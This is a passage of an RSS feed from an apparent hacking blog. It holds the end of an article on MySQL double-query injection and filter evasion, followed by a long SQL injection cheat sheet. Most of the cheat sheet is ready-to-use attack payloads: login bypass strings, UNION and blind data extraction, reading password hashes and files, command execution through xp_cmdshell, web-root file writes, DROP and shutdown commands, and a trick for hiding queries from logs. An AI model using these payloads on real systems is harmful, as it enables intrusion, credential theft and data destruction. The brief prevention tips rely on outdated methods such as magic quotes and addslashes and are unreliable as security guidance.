&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Double Query ]</p>
<p>Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved<br />
Extension) that is an extension allows you to access to the functionality provided<br />
by MySQL 4.1 and above.</p>
<p>I&#8217;ll explain a  very interesting bug that could be very dangerous for the<br />
system. A not properly sanitized variable passed in the method called multi_query of<br />
the mysqli class can be used to perform a &#8220;double&#8221; sql query injection.</p>
<p>mysqli_multi_query (PHP 5) is able to performs one or more queries on the<br />
database selected. The queries executed are concatenated by a semicolon.</p>
<p>Look this example to know what I&#8217;m talking about:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&lt;?php<br />
$mysqli = new mysqli(&#8220;localhost&#8221;, &#8220;root&#8221;, &#8220;root&#8221;, &#8220;test&#8221;);</p>
<p>if (mysqli_connect_errno()) {<br />
printf(&#8220;Connect failed: %s\n&#8221;, mysqli_connect_error());<br />
exit();<br />
}</p>
<p>$query  = &#8220;SELECT user FROM usr WHERE id =&#8221;. $_GET['id'].&#8221;;&#8221;;<br />
$query .= &#8220;SELECT texts FROM news WHERE id =&#8221;. $_GET['id'];</p>
<p>echo &#8216;UserName: &#8216;;</p>
<p>if ($mysqli-&gt;multi_query($query)) {<br />
do {<br />
/* the first result set */<br />
if ($result = $mysqli-&gt;store_result()) {<br />
while ($row = $result-&gt;fetch_row()) {<br />
echo &#8221; &#8211; &#8221; .$row[0]. &#8220;&lt;br&gt;&#8221; ;<br />
}<br />
$result-&gt;free();<br />
}<br />
/* print divider */<br />
if ($mysqli-&gt;more_results()) {<br />
echo &#8220;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;&#8221;;<br />
}<br />
} while ($mysqli-&gt;next_result());<br />
}</p>
<p>/* close connection */<br />
$mysqli-&gt;close();<br />
?&gt;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>If a user request the follow URL:</p>
<p>http://www.victim.net/CMS/multiple.php?id=2</p>
<p>The browser reply with this information:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- could be bypassed easily?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>But the source code is bugged. The $query variable is vulnerable because<br />
a user can supply using the GET method, an evil id and can do multiple (evil) queries.</p>
<p>Trying with this request:</p>
<p>http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*</p>
<p>We will obtain the users passwords.</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- secret<br />
- adpwd<br />
- test</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Filters Evasion ]</p>
<p>Web Application could implements some input filters that prevent an attacker from<br />
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application<br />
can use some mechanism that are able to sanitize, block or parse in some ways<br />
user-supply data. This kind of filters could be bypassed by using differents methods,<br />
here I wanna try to give to you some ideas; but certainly one filter differ from<br />
an other one so, you have to try/find different methods to bypass it.</p>
<p>- Imagine that we have to bypass a login form; but the comment symbol is blocked,<br />
we can bypass this issue but injecting this data &#8216; OR &#8216;a&#8217; = &#8216;a instead of &#8216; OR 1 = 1 /*</p>
<p>- The filter try to prevent an SQL Injection by using this kind of Signature: &#8216; or 1=1 (Case-insensitive).<br />
An attacker can bypass this filter using &#8216; OR &#8216;foobar&#8217; = &#8216;foobar for example.</p>
<p>- Suppose that the application filter the keyword &#8220;admin&#8221;, to bypass this filter we have just<br />
to use some MySQL functions such as CONCAT or CHAR for example:<br />
union select * from usr where user = concat(&#8216;adm&#8217;,'in&#8217;)/*<br />
union select * from usr where user=char(97,100,109,105,110)/*</p>
<p>This is only a little part of &#8220;filter evasion techniques&#8221;. Different filters work<br />
differently, I can&#8217;t stay on this topic forever; I just gave to you some ideas.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  SQL Injection Prevention ]</p>
<p>How to prevent this type of attacks? Here below I just wanna write some<br />
tips that you can use to make your web application more secure.</p>
<p>1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,<br />
and so on..) can help us with the magic quote functions. Other interesting functions can<br />
be setted to On; take a look inside this file.</p>
<p>Magic quotes can be used to escape automatically with backslash the user-supply single-quote (&#8216;),<br />
double-quote (&#8220;), backslash (\) and NULL characters.<br />
The 3 magic quotes directives are:</p>
<p>- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.<br />
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have<br />
quotes escaped with a backslash.<br />
- magic_quotes_sybase, that escape the &#8216; with &#8221; instead of \&#8217;.</p>
<p>2.) deploy mod_security for example</p>
<p>3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate<br />
every user inputs.</p>
<p>4.) For integer input validate it by casting the variable<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Conclusion ]</p>
<p>Here we are, at the end of this paper. As said upon, I hope you enjoyed it and<br />
for any questions please mail me.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SQL CheatSheet</title>
		<link>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/</link>
		<comments>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 06:24:51 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=10</guid>
		<description><![CDATA[Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences. Samples are provided to allow reader to get basic idea of a potential attack. * M : MySQL * [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "SQL+CheatSheet";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.Samples are provided to allow reader to get basic idea of a potential attack.* M : MySQL* S : SQL Server* O : Oracle* + : Possibly...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Currently only for MySQL and Microsoft SQL Server. Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.</p>
<p><span id="more-10"></span></p>
<p>Samples are provided to allow reader to get basic idea of a potential attack.</p>
<p>* M : MySQL<br />
* S : SQL Server<br />
* O : Oracle<br />
* + : Possibly all other databases</p>
<p>Examples;<br />
(MS) MySQL and SQL Server etc.<br />
(M*S) Only in some versions of MySQL or special conditions see related note and SQL Server<br />
Syntax Reference with Sample Basic Attacks<br />
Ending / Commenting Out / Line Comments Queries<br />
Line Comments</p>
<p>(Comments rest of the query)</p>
<p>Line comments are generally useful for ignoring rest of the query so you don¡¯t have to deal with fixing rest of the query.</p>
<p>* &#8212; (SM)<br />
DROP sampletable;&#8211;</p>
<p>* # (M)<br />
DROP sampletable;#</p>
<p>Sample SQL Injection Attacks</p>
<p>* Username: admin&#8217;&#8211;<br />
* SELECT * FROM members WHERE username = &#8216;admin&#8217;&#8211;&#8217; AND password = &#8216;password&#8217;<br />
This is going to log you as admin user, because rest of the SQL query will be ignored.</p>
<p>Inline Comments</p>
<p>Comments rest of the query by not closing them or use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.</p>
<p>* /*Comment Here*/ (SM)<br />
o DROP/*comment*/sampletable<br />
o DR/**/OP/*bypass blacklisting*/sampletable<br />
o SELECT/*avoid-spaces*/password/**/FROM/**/Members</p>
<p>* /*! MYSQL Special SQL */ (M)<br />
This is a special comment syntax for MySQL. It¡¯s perfect for detecting MySQL version. If you put a code into this comments it¡¯s going to execute in MySQL. Also you can use this to execute some code only if the server is higher than supplied version.</p>
<p>SELECT /*!32302 1/0, */ 1 FROM tablename</p>
<p>Sample SQL Injection Attacks</p>
<p>* ID: /*!32302 10*/<br />
* ID: 10<br />
You will get the same response if the MySQL version is higher than 3.23.02</p>
<p>Stacking Queries</p>
<p>Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.</p>
<p>* ; (S)<br />
SELECT * FROM members; DROP members&#8211;</p>
<p>Ends a query and starts a new one.</p>
<p>*About MySQL and PHP;<br />
To clarify some issues;<br />
PHP &#8211; MySQL doesn&#8217;t support stacked queries, Java doesn&#8217;t support stacked queries (I&#8217;m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it¡¯s not possible to execute second query in PHP-MySQL applications or maybe MySQL clients support this, not quite sure. Can someone clarify ?<br />
Sample SQL Injection Attacks</p>
<p>* ID: 10;DROP members &#8211;<br />
* SELECT * FROM products WHERE id = 10; DROP members&#8211;</p>
<p>This will run DROP members SQL sentence after normal SQL Query.<br />
If Statements</p>
<p>Get response based on a if statement is one of the key points of Blind SQL Injection and can be very useful to test simple stuff.<br />
MySQL If Statement</p>
<p>* IF(condition,true-part,false-part) (M)<br />
SELECT IF(1=1,&#8217;true&#8217;,'false&#8217;)</p>
<p>SQL Server If Statement</p>
<p>* IF contidion true-part ELSE false-part (S)<br />
IF (1=1) SELECT &#8216;true&#8217; ELSE SELECT &#8216;false&#8217;</p>
<p>Sample SQL Injection Attacks</p>
<p>if ((select user) = &#8216;sa&#8217; OR (select user) = &#8216;dbo&#8217;) select 1 else select 1/0 (S)<br />
This will throw an divide by zero error if current logged user is not &#8220;sa&#8221; or &#8220;dbo&#8221;.<br />
Using Integers</p>
<p>Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.</p>
<p>* 0xHEXNUMBER (SM)<br />
You can write hex like these;</p>
<p>SELECT CHAR(0&#215;66) (S)<br />
SELECT 0&#215;5045 (this is not an integer it will be a string from Hex) (M)<br />
SELECT 0&#215;50 + 0&#215;45 (this is integer now!) (M)</p>
<p>String Operations</p>
<p>String related operations. This can be quite useful to build up injection which are not using any quotes, bypass any other black listing or determine database.<br />
String Concatenation</p>
<p>* + (S)<br />
SELECT login + &#8216;-&#8217; + password FROM members</p>
<p>* || (*MO)<br />
SELECT login || &#8216;-&#8217; || password FROM members</p>
<p>*About MySQL `||`;<br />
If MySQL is running in ANSI mode it¡¯s going to work but otherwise MySQL accept it as `logical operator` it¡¯ll return 0. Better way to do it is using CONCAT() function in MySQL.</p>
<p>* CONCAT(str1, str2, str3, &#8230;) (M)<br />
Concatenate supplied strings.<br />
SELECT CONCAT(login, password) FROM members</p>
<p>Strings without Quotes</p>
<p>These are some direct ways to using strings but it¡¯s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.</p>
<p>* 0&#215;457578 (M) &#8211; Hex Representation of string<br />
SELECT 0&#215;457578<br />
This will be selected as string in MySQL.</p>
<p>* Using CONCAT() in MySQL<br />
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)<br />
This will return ¡®KLM¡¯.</p>
<p>* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)<br />
This will return ¡®KLM¡¯.</p>
<p>String Modification &amp; Related</p>
<p>* ASCII() (SM)<br />
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.</p>
<p>SELECT ASCII(&#8216;a&#8217;)</p>
<p>* CHAR() (SM)<br />
Convert an integer of ASCII .</p>
<p>SELECT CHAR(64)</p>
<p>UNION ¨C Fixing Language Issues</p>
<p>While exploiting union injections sometimes you will get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to bypass this problem. It&#8217;s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.</p>
<p>* SQL Server (S)<br />
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one &#8211; check out SQL Server documentation.</p>
<p>* MySQL (M)<br />
Hex() for every possible issue</p>
<p>Login Screen (SMO+)<br />
SQL Injection 101, Login tricks</p>
<p>* admin&#8217; &#8211;<br />
* admin&#8217; #<br />
* admin&#8217;/*<br />
* &#8216; or 1=1&#8211;<br />
* &#8216; or 1=1#<br />
* &#8216; or 1=1/*<br />
* &#8216;) or &#8217;1&#8242;=&#8217;1&#8211;<br />
* &#8216;) or (&#8217;1&#8242;=&#8217;1&#8211;<br />
* etc&#8230;.</p>
<p>* Login as different user (SM*)<br />
&#8216; UNION SELECT 1, &#8216;anotheruser&#8217;, &#8216;doesnt matter&#8217;, 1&#8211;</p>
<p>*Old versions of MySQL doesn&#8217;t support union queries<br />
Error Based &#8211; Find Columns Names<br />
Finding Column Names with HAVING BY &#8211; Error Based (S)</p>
<p>In the same order,</p>
<p>* &#8216; HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 &#8211;<br />
* &#8216; GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 &#8212; and so on<br />
* If you are not getting any more error then it&#8217;s done.</p>
<p>Finding how many columns in SELECT query by ORDER BY (MSO+)</p>
<p>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</p>
<p>* ORDER BY 1&#8211;<br />
* ORDER BY 2&#8211;<br />
* ORDER BY N&#8211; so on<br />
* Keep going until get an error. Error means you found the number of selected columns.</p>
<p>Data types, UNION, etc.<br />
Hints,</p>
<p>* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.<br />
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.<br />
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.<br />
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)</p>
<p>Finding Column Type</p>
<p>* &#8216; union select sum(columntofind) from users&#8211; (S)<br />
Microsoft OLE DB Provider for ODBC Drivers error &#8217;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.</p>
<p>If you are not getting error it means column is numeric.</p>
<p>* Also you can use CAST() or CONVERT()<br />
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL&#8211;</p>
<p>* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error &#8211; Syntax is right. MS SQL Server Used. Proceeding.</p>
<p>* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C First column is an integer.</p>
<p>* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 &#8211;<br />
Error! ¨C Second column is not an integer.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,NULL,NULL WHERE 1=2 ¨C-<br />
No Error ¨C Second column is a string.</p>
<p>* 11223344) UNION SELECT 1,¡¯2¡¯,3,NULL WHERE 1=2 ¨C-<br />
Error! ¨C Third column is not an integer. &#8230;</p>
<p>Microsoft OLE DB Provider for SQL Server error &#8217;80040e07&#8242;<br />
Explicit conversion from data type int to image is not allowed.</p>
<p>You¡¯ll get convert() errors before union target errors ! So start with convert() then union<br />
Simple Insert (MSO+)<br />
&#8216;; insert into users values( 666, &#8216;attacker&#8217;, &#8216;foobar&#8217;, 0xffff )&#8211;<br />
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</p>
<p>@@version (MS)<br />
Version of database and more details for SQL Server. It&#8217;s a constant. You can just select it like any other column, you don&#8217;t need to supply table name. Also you can use insert, update statements or in functions.</p>
<p>INSERT INTO members(id, user, pass) VALUES(1, &#8221;+SUBSTRING(@@version,1,10) ,10)<br />
Bulk Insert (S)</p>
<p>Insert a file content to a table. If you don&#8217;t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.</p>
<p>1. Create table foo( line varchar(8000) )<br />
2. bulk insert foo from &#8216;c:inetpubwwwrootlogin.asp&#8217;<br />
3. Drop temp table, and repeat for another file.</p>
<p>BCP (S)</p>
<p>Write text file. Login Credentials are required to use this function.<br />
bcp &#8220;SELECT * FROM test..foo&#8221; queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar<br />
VBS, WSH in SQL Server (S)</p>
<p>You can use VBS, WSH scripting in SQL Server because of ActiveX support.</p>
<p>declare @o int<br />
exec sp_oacreate &#8216;wscript.shell&#8217;, @o out<br />
exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217;<br />
Username: &#8216;; declare @o int exec sp_oacreate &#8216;wscript.shell&#8217;, @o out exec sp_oamethod @o, &#8216;run&#8217;, NULL, &#8216;notepad.exe&#8217; &#8211;<br />
Executing system commands, xp_cmdshell (S)</p>
<p>Well known trick, By default it&#8217;s disabled in SQL Server 2005. You need to have admin access.</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;cmd.exe dir c:&#8217;</p>
<p>Simple ping check (configure your firewall or sniffer to identify request before launch it),</p>
<p>EXEC master.dbo.xp_cmdshell &#8216;ping &lt;ip address&gt;&#8217;</p>
<p>You can not read results directly from error or union or something else.<br />
Some Special Tables in SQL Server (S)</p>
<p>* Error Messages<br />
master..sysmessages</p>
<p>* Linked Servers<br />
master..sysservers</p>
<p>* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )<br />
SQL Server 2000: masters..sysxlogins<br />
SQL Server 2005 : sys.sql_logins</p>
<p>More Stored Procedures (S)<br />
Stored Procedures</p>
<p>1. Cmd Execute (xp_cmdshell)<br />
exec master..xp_cmdshell &#8216;dir&#8217;</p>
<p>2. Registry Stuff (xp_regread)<br />
1. xp_regaddmultistring<br />
2. xp_regdeletekey<br />
3. xp_regdeletevalue<br />
4. xp_regenumkeys<br />
5. xp_regenumvalues<br />
6. xp_regread<br />
7. xp_regremovemultistring<br />
8. xp_regwrite<br />
exec xp_regread HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServiceslanmanserverparame  ters&#8217;, &#8216;nullsessionshares&#8217;<br />
exec xp_regenumvalues HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServicessnmpparametersvali  dcommunities&#8217;</p>
<p>3. Managing Services (xp_servicecontrol)<br />
4. Medias (xp_availablemedia)<br />
5. ODBC Resources (xp_enumdsn)<br />
6. Login mode (xp_loginconfig)<br />
7. Creating Cab Files (xp_makecab)<br />
8. Domain Enumeration (xp_ntsec_enumdomains)<br />
9. Process Killing (need PID) (xp_terminate_process)<br />
10. Add new procedure (virtually you can execute whatever you want)<br />
sp_addextendedproc ¡®xp_webserver¡¯, ¡®c:tempx.dll¡¯<br />
exec xp_webserver<br />
11. Write text file to a UNC or an internal path (sp_makewebtask)</p>
<p>MSSQL Bulk Notes</p>
<p>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/</p>
<p>DECLARE @result int; EXEC @result = xp_cmdshell &#8216;dir *.exe&#8217;;IF (@result = 0) SELECT 0 ELSE SELECT 1/0</p>
<p>HOST_NAME()<br />
IS_MEMBER (Transact-SQL)<br />
IS_SRVROLEMEMBER (Transact-SQL)<br />
OPENDATASOURCE (Transact-SQL)</p>
<p>INSERT tbl EXEC master..xp_cmdshell OSQL /Q&#8221;DBCC SHOWCONTIG&#8221;</p>
<p>OPENROWSET (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p>
<p>You can not use sub selects in SQL Server Insert queries.<br />
SQL Injection in LIMIT (M) or ORDER (MSO)</p>
<p>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,&#8217;x'/*,10 ;</p>
<p>If injection is in second limit you can comment it out or use in your union injection<br />
Shutdown SQL Server (S)</p>
<p>When you really pissed off, &#8216;;shutdown &#8211;<br />
Finding Database Structure in SQL Server (S)<br />
Getting User defined Tables</p>
<p>SELECT name FROM sysobjects WHERE xtype = &#8216;U&#8217;<br />
Getting Column Names</p>
<p>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;tablenameforcolumnnames&#8217;)<br />
Moving records (S)</p>
<p>* Modify WHERE and use NOT IN or NOT EXIST,<br />
&#8230; WHERE users NOT IN (&#8216;First User&#8217;, &#8216;Second User&#8217;)<br />
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) &#8212; very good one</p>
<p>* Using Dirty Tricks<br />
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int</p>
<p>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=&#8217;U&#8217; and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = &#8216;U&#8217;) as p where p.x=21</p>
<p>Fast way to extract data from Error Based SQL Injections in SQL Server (S)<br />
&#8216;;BEGIN DECLARE @rt varchar(8000) SET @rd=&#8217;:&#8217; SELECT @rd=@rd+&#8217; &#8216;+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;MEMBERS&#8217;) AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;&#8211;</p>
<p>Detailed Article : Fast way to extract data from Error Based SQL Injections<br />
Check out references for Advanced SQL Injection by Chris Anley.<br />
Waiting For Blind SQL Injections</p>
<p>First of all use this if it&#8217;s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.<br />
WAIT FOR DELAY (S)</p>
<p>This is just like sleep, wait for spesified time. CPU safe way to make database wait.</p>
<p>WAITFOR DELAY &#8217;0:0:10&#8242;&#8211;</p>
<p>Also you can use fractions like this,</p>
<p>WAITFOR DELAY &#8217;0:0:0.51&#8242;<br />
Real World Samples</p>
<p>* Are we &#8216;sa&#8217; ?<br />
if (select user) = &#8216;sa&#8217; waitfor delay &#8217;0:0:10&#8242;</p>
<p>BENCHMARK (M)</p>
<p>Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p>
<p>BENCHMARK(howmanytimes, do this)<br />
Real World Samples</p>
<p>* Are we root ? woot!<br />
IF EXISTS (SELECT * FROM users WHERE username = &#8216;root&#8217;) BENCHMARK(1000000000,MD5(1))</p>
<p>* Check Table exist in MySQL<br />
IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))</p>
<p>Covering Tracks<br />
SQL Server -sp_password log bypass (S)</p>
<p>SQL Server don&#8217;t log queries which includes sp_password for security reasons(!). So if you add &#8211;sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it&#8217;s possible)<br />
Clear SQL Injection Tests</p>
<p>These tests are simply good for blind sql injection and silent attacks.</p>
<p>1. product.asp?id=4 (SMO)<br />
1. product.asp?id=5-1<br />
2. product.asp?id=4 OR 1=1</p>
<p>2. product.asp?name=Book<br />
1. product.asp?name=Bo¡¯+¡¯ok<br />
2. product.asp?name=Bo¡¯ || ¡¯ok (OM)<br />
3. product.asp?name=Book¡¯ OR ¡®x¡¯=¡¯x</p>
<p>Some Extra MySQL Notes</p>
<p>* Sub Queries are working only MySQL 4.1+<br />
* Users<br />
o SELECT User,Password FROM mysql.user;<br />
* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=&#8217;2&#8242;,BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ¡®root¡¯;<br />
* SELECT &#8230; INTO DUMPFILE<br />
o Write query into a new file (can not modify existing files)<br />
* UDF Function<br />
o create function LockWorkStation returns integer soname &#8216;user32&#8242;;<br />
o select LockWorkStation();<br />
o create function ExitProcess returns integer soname &#8216;kernel32&#8242;;<br />
o select exitprocess();<br />
* SELECT USER();<br />
* SELECT password,USER() FROM mysql.user;<br />
* First byte of admin hash<br />
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;<br />
* Read File<br />
o query.php?user=1+union+select+load_file(0&#215;63&#8230;),1  ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  ,1,1,1,1<br />
* MySQL Load Data inifile<br />
o By default it¡¯s not avaliable !<br />
+ create table foo( line blob );<br />
load data infile &#8216;c:/boot.ini&#8217; into table foo;<br />
select * from foo;<br />
* More Timing in MySQL<br />
* select benchmark( 500000, sha1( &#8216;test&#8217; ) );<br />
* query.php?user=1+union+select+benchmark(500000,sha 1 (0&#215;414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1<br />
* select if( user() like &#8216;root@%&#8217;, benchmark(100000,sha1(&#8216;test&#8217;)), &#8216;false&#8217; );<br />
Enumeration data, Guessed Brute Force<br />
+ select if( (ascii(substring(user(),1,1)) &gt;&gt; 7) &amp; 1, benchmark(100000,sha1(&#8216;test&#8217;)), &#8216;false&#8217; );</p>
<p>Potentially Usefull Functions</p>
<p>MD5()<br />
SHA1()<br />
CHAR()<br />
PASSWORD()<br />
ENCODE()<br />
COMPRESS()<br />
BENCHMARK()<br />
ROW_COUNT()<br />
SCHEMA()<br />
VERSION()<br />
Second Order SQL Injections</p>
<p>Basicly you put an SQL Injection to some place and expect it&#8217;s unfiltered in another action. This is common hidden layer problem.</p>
<p>Name : &#8216; + (SELECT TOP 1 password FROM users ) + &#8216;<br />
Email : <a href="mailto:xx@xx.com">xx@xx.com</a></p>
<p>If application is using name field in an unsafe steored procedure or function, process etc. then it will insert first users password as your name etc.<br />
References</p>
<p>Since these notes collected from several different resources within several years and personal experiences may I missed some references. If you believe I missed yours or someone else then drop me an email, I&#8217;ll update it as soon as possible.</p>
<p>* Lots of Stuff<br />
o Advanced SQL Injection In SQL Applications, Chris Anley<br />
o More Advanced SQL Injection In SQL Applications, Chris Anley<br />
o Blindfolded SQL Injection, Ofer Maor ¨C Amichai Shulman<br />
o Hackproofing MySQL, Chris Anley<br />
o Database Hacker&#8217;s Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay<br />
o Upstairs Team!</p>
<p>* MSSQL Related<br />
o MSSQL Operators &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa276846%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;6(SQL.80).aspx</a><br />
o Transact-SQL Reference &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa299742%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;2(SQL.80).aspx</a><br />
o String Functions (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms181984.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms181984.aspx</a><br />
o List of MSSQL Server Collation Names &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms180175.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms180175.aspx</a><br />
